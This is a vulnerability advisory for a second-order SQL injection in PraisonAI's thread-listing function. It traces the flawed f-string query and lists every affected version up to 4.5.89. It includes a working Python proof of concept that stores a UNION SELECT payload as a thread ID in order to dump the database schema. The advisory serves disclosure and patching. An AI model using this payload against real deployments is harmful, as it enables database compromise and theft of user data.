PYSEC-2026-470

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Import Source
https://github.com/pypa/advisory-database/blob/main/vulns/praisonai/PYSEC-2026-470.yaml
JSON Data
https://api.osv.dev/v1/vulns/PYSEC-2026-470
Aliases
Published
2026-06-29T11:50:46.446329Z
Modified
2026-07-01T20:23:01.446489Z
Severity
  • 9.8 (Critical) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H CVSS Calculator
Summary
PraisonAI Has Second-Order SQL Injection in `get_all_user_threads`
Details

Summary

The get_all_user_threads function constructs raw SQL queries using f-strings with unescaped thread IDs fetched from the database. An attacker stores a malicious thread ID via update_thread. When the application loads the thread list, the injected payload executes and grants full database access.

Details

File Path:
src/praisonai/praisonai/ui/sql_alchemy.py

Flow: - Source (Line 539):

await data_layer.update_thread(thread_id=payload, user_id=user)

  • Hop (Line 547):

    thread_ids = "('" + "','".join([t["thread_id"] for t in user_threads]) + "')"

  • Sink (Line 576):

    WHERE s."threadId" IN {thread_ids}

Proof of Concept (PoC)


import asyncio
from praisonai.ui.sql_alchemy import SQLAlchemyDataLayer

async def run_poc():
    data_layer = SQLAlchemyDataLayer(conninfo="sqlite+aiosqlite:///app.db")

    # Insert a valid thread
    await data_layer.update_thread(
        thread_id="valid_thread", 
        user_id="attacker"
    )

    # Inject malicious payload
    payload = "x') UNION SELECT name, null, null, 'valid_thread', null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null FROM sqlite_master--"

    await data_layer.update_thread(
        thread_id=payload, 
        user_id="attacker"
    )

    # Trigger vulnerable function
    result = await data_layer.get_all_user_threads(user_id="attacker")

    for thread in result:
        if getattr(thread, 'id', '') == 'valid_thread':
            for step in getattr(thread, 'steps', []):
                print(getattr(step, 'id', ''))

asyncio.run(run_poc())

# Expected Output:
# sqlite_master table names printed to console

Impact

An attacker can achieve full database compromise, including:

  • Exfiltration of sensitive data (user emails, session tokens, API keys)
  • Access to all conversation histories
  • Ability to modify or delete database contents
References

Affected packages

PyPI / praisonai

Package

Name
praisonai
View open source insights on deps.dev
Purl
pkg:pypi/praisonai

Affected ranges

Type
ECOSYSTEM
Events
Introduced
0Unknown introduced version / All previous versions are affected
Fixed
4.5.90

Affected versions

0.*
0.0.1
0.0.2
0.0.3
0.0.4
0.0.5
0.0.6
0.0.7
0.0.8
0.0.9
0.0.10
0.0.11
0.0.12
0.0.13
0.0.14
0.0.15
0.0.16
0.0.17
0.0.18
0.0.19
0.0.20
0.0.21
0.0.22
0.0.23
0.0.24
0.0.25
0.0.26
0.0.27
0.0.28
0.0.29
0.0.30
0.0.31
0.0.32
0.0.33
0.0.34
0.0.35
0.0.36
0.0.37
0.0.38
0.0.39
0.0.40
0.0.41
0.0.42
0.0.43
0.0.44
0.0.45
0.0.46
0.0.47
0.0.48
0.0.49
0.0.50
0.0.52
0.0.53
0.0.54
0.0.55
0.0.56
0.0.57
0.0.58
0.0.59rc2
0.0.59rc3
0.0.59rc5
0.0.59rc6
0.0.59rc7
0.0.59rc8
0.0.59rc9
0.0.59rc11
0.0.59
0.0.61
0.0.64
0.0.65
0.0.66
0.0.67
0.0.68
0.0.69
0.0.70
0.0.71
0.0.72
0.0.73
0.0.74
0.1.0
0.1.1
0.1.2
0.1.3
0.1.4
0.1.5
0.1.6
0.1.7
0.1.8
0.1.9
0.1.10
1.*
1.0.0
1.0.1
1.0.2
1.0.3
1.0.4
1.0.5
1.0.6
1.0.8
1.0.9
1.0.10
1.0.11
2.*
2.0.0
2.0.1
2.0.2
2.0.3
2.0.5
2.0.6
2.0.7
2.0.8
2.0.9
2.0.10
2.0.11
2.0.12
2.0.13
2.0.14
2.0.15
2.0.16
2.0.17
2.0.18
2.0.19
2.0.20
2.0.22
2.0.23
2.0.24
2.0.25
2.0.26
2.0.27
2.0.28
2.0.29
2.0.30
2.0.31
2.0.32
2.0.33
2.0.34
2.0.35
2.0.36
2.0.37
2.0.38
2.0.39
2.0.40
2.0.41
2.0.42
2.0.43
2.0.44
2.0.45
2.0.46
2.0.47
2.0.48
2.0.49
2.0.50
2.0.51
2.0.53
2.0.54
2.0.55
2.0.56
2.0.57
2.0.58
2.0.59
2.0.60
2.0.61
2.0.62
2.0.63
2.0.64
2.0.65
2.0.66
2.0.67
2.0.68
2.0.69
2.0.70
2.0.71
2.0.72
2.0.73
2.0.74
2.0.75
2.0.76
2.0.77
2.0.78
2.0.79
2.0.80
2.0.81
2.1.0
2.1.1
2.1.4
2.1.5
2.1.6
2.2.1
2.2.2
2.2.3
2.2.4
2.2.5
2.2.6
2.2.7
2.2.8
2.2.9
2.2.10
2.2.11
2.2.12
2.2.13
2.2.14
2.2.15
2.2.16
2.2.17
2.2.18
2.2.19
2.2.20
2.2.21
2.2.22
2.2.24
2.2.25
2.2.26
2.2.27
2.2.28
2.2.29
2.2.30
2.2.31
2.2.32
2.2.33
2.2.34
2.2.35
2.2.36
2.2.37
2.2.38
2.2.39
2.2.40
2.2.41
2.2.42
2.2.43
2.2.44
2.2.45
2.2.46
2.2.47
2.2.48
2.2.49
2.2.50
2.2.51
2.2.52
2.2.53
2.2.54
2.2.55
2.2.56
2.2.57
2.2.58
2.2.59
2.2.60
2.2.61
2.2.62
2.2.63
2.2.64
2.2.65
2.2.66
2.2.67
2.2.68
2.2.69
2.2.70
2.2.71
2.2.72
2.2.73
2.2.74
2.2.75
2.2.76
2.2.77
2.2.78
2.2.79
2.2.80
2.2.81
2.2.82
2.2.83
2.2.84
2.2.86
2.2.87
2.2.88
2.2.89
2.2.90
2.2.91
2.2.93
2.2.95
2.2.96
2.2.97
2.2.98
2.2.99
2.3.0
2.3.1
2.3.2
2.3.3
2.3.4
2.3.5
2.3.6
2.3.7
2.3.8
2.3.9
2.3.10
2.3.11
2.3.12
2.3.13
2.3.14
2.3.15
2.3.16
2.3.18
2.3.19
2.3.20
2.3.21
2.3.22
2.3.23
2.3.24
2.3.25
2.3.26
2.3.27
2.3.28
2.3.29
2.3.30
2.3.31
2.3.32
2.3.33
2.3.34
2.3.35
2.3.36
2.3.37
2.3.38
2.3.39
2.3.40
2.3.41
2.3.42
2.3.43
2.3.44
2.3.45
2.3.46
2.3.47
2.3.48
2.3.49
2.3.50
2.3.51
2.3.52
2.3.53
2.3.54
2.3.55
2.3.56
2.3.57
2.3.58
2.3.59
2.3.60
2.3.61
2.3.62
2.3.63
2.3.64
2.3.65
2.3.66
2.3.67
2.3.68
2.3.69
2.3.70
2.3.71
2.3.72
2.3.73
2.3.74
2.3.75
2.3.76
2.3.77
2.3.78
2.3.79
2.3.80
2.3.81
2.3.82
2.3.83
2.3.84
2.3.85
2.3.86
2.3.87
2.4.0
2.4.1
2.4.2
2.4.3
2.4.4
2.5.0
2.5.1
2.5.2
2.5.3
2.5.4
2.5.5
2.5.6
2.5.7
2.6.0
2.6.1
2.6.2
2.6.3
2.6.4
2.6.5
2.6.6
2.6.7
2.6.8
2.7.0
2.8.3
2.8.4
2.8.5
2.8.6
2.8.7
2.8.8
2.8.9
2.9.0
2.9.1
2.9.2
3.*
3.0.0
3.0.1
3.0.2
3.0.3
3.0.4
3.0.5
3.0.6
3.0.7
3.0.8
3.0.9
3.1.0
3.1.1
3.1.2
3.1.3
3.1.4
3.1.5
3.1.6
3.1.7
3.1.8
3.1.9
3.2.0
3.2.1
3.3.0
3.3.1
3.4.0
3.4.1
3.5.0
3.5.1
3.5.2
3.5.3
3.5.4
3.5.5
3.5.6
3.5.7
3.5.8
3.5.9
3.6.0
3.6.1
3.6.2
3.7.0
3.7.1
3.7.2
3.7.3
3.7.4
3.7.5
3.7.6
3.7.7
3.7.8
3.7.9
3.8.0
3.8.1
3.8.2
3.8.3
3.8.4
3.8.5
3.8.6
3.8.7
3.8.8
3.8.9
3.8.10
3.8.11
3.8.12
3.8.13
3.8.14
3.8.16
3.8.17
3.8.18
3.8.19
3.8.20
3.8.21
3.8.22
3.9.0
3.9.1
3.9.2
3.9.3
3.9.4
3.9.5
3.9.6
3.9.7
3.9.8
3.9.9
3.9.10
3.9.11
3.9.12
3.9.13
3.9.14
3.9.15
3.9.16
3.9.17
3.9.18
3.9.19
3.9.20
3.9.21
3.9.22
3.9.23
3.9.24
3.9.25
3.9.26
3.9.27
3.9.28
3.9.29
3.9.30
3.9.31
3.9.32
3.9.33
3.9.34
3.9.35
3.10.0
3.10.1
3.10.2
3.10.3
3.10.4
3.10.5
3.10.6
3.10.7
3.10.8
3.10.9
3.10.10
3.10.11
3.10.12
3.10.13
3.10.14
3.10.15
3.10.16
3.10.17
3.10.18
3.10.19
3.10.20
3.10.21
3.10.22
3.10.23
3.10.24
3.10.25
3.10.26
3.10.27
3.11.0
3.11.1
3.11.2
3.11.3
3.11.4
3.11.8
3.11.9
3.11.10
3.11.11
3.11.12
3.11.13
3.11.14
3.12.0
3.12.1
3.12.2
3.12.3
4.*
4.0.0
4.1.0
4.2.0
4.2.1
4.2.2
4.2.3
4.2.4
4.3.0
4.3.1
4.4.0
4.4.2
4.4.3
4.4.4
4.4.5
4.4.6
4.4.7
4.4.8
4.4.9
4.4.10
4.4.11
4.4.12
4.5.0
4.5.1
4.5.2
4.5.3
4.5.5
4.5.6
4.5.7
4.5.8
4.5.9
4.5.10
4.5.11
4.5.12
4.5.13
4.5.14
4.5.15
4.5.16
4.5.18
4.5.19
4.5.20
4.5.21
4.5.22
4.5.23
4.5.24
4.5.25
4.5.26
4.5.27
4.5.28
4.5.29
4.5.30
4.5.31
4.5.32
4.5.33
4.5.34
4.5.35
4.5.36
4.5.37
4.5.38
4.5.39
4.5.40
4.5.41
4.5.42
4.5.43
4.5.44
4.5.45
4.5.46
4.5.48
4.5.49
4.5.51
4.5.52
4.5.54
4.5.55
4.5.56
4.5.57
4.5.58
4.5.59
4.5.60
4.5.62
4.5.63
4.5.64
4.5.65
4.5.67
4.5.68
4.5.69
4.5.70
4.5.71
4.5.72
4.5.73
4.5.74
4.5.76
4.5.77
4.5.78
4.5.79
4.5.80
4.5.81
4.5.82
4.5.83
4.5.85
4.5.87
4.5.88
4.5.89

Database specific

source 
"https://github.com/pypa/advisory-database/blob/main/vulns/praisonai/PYSEC-2026-470.yaml"
last_known_affected_version_range 
"<= 4.5.89"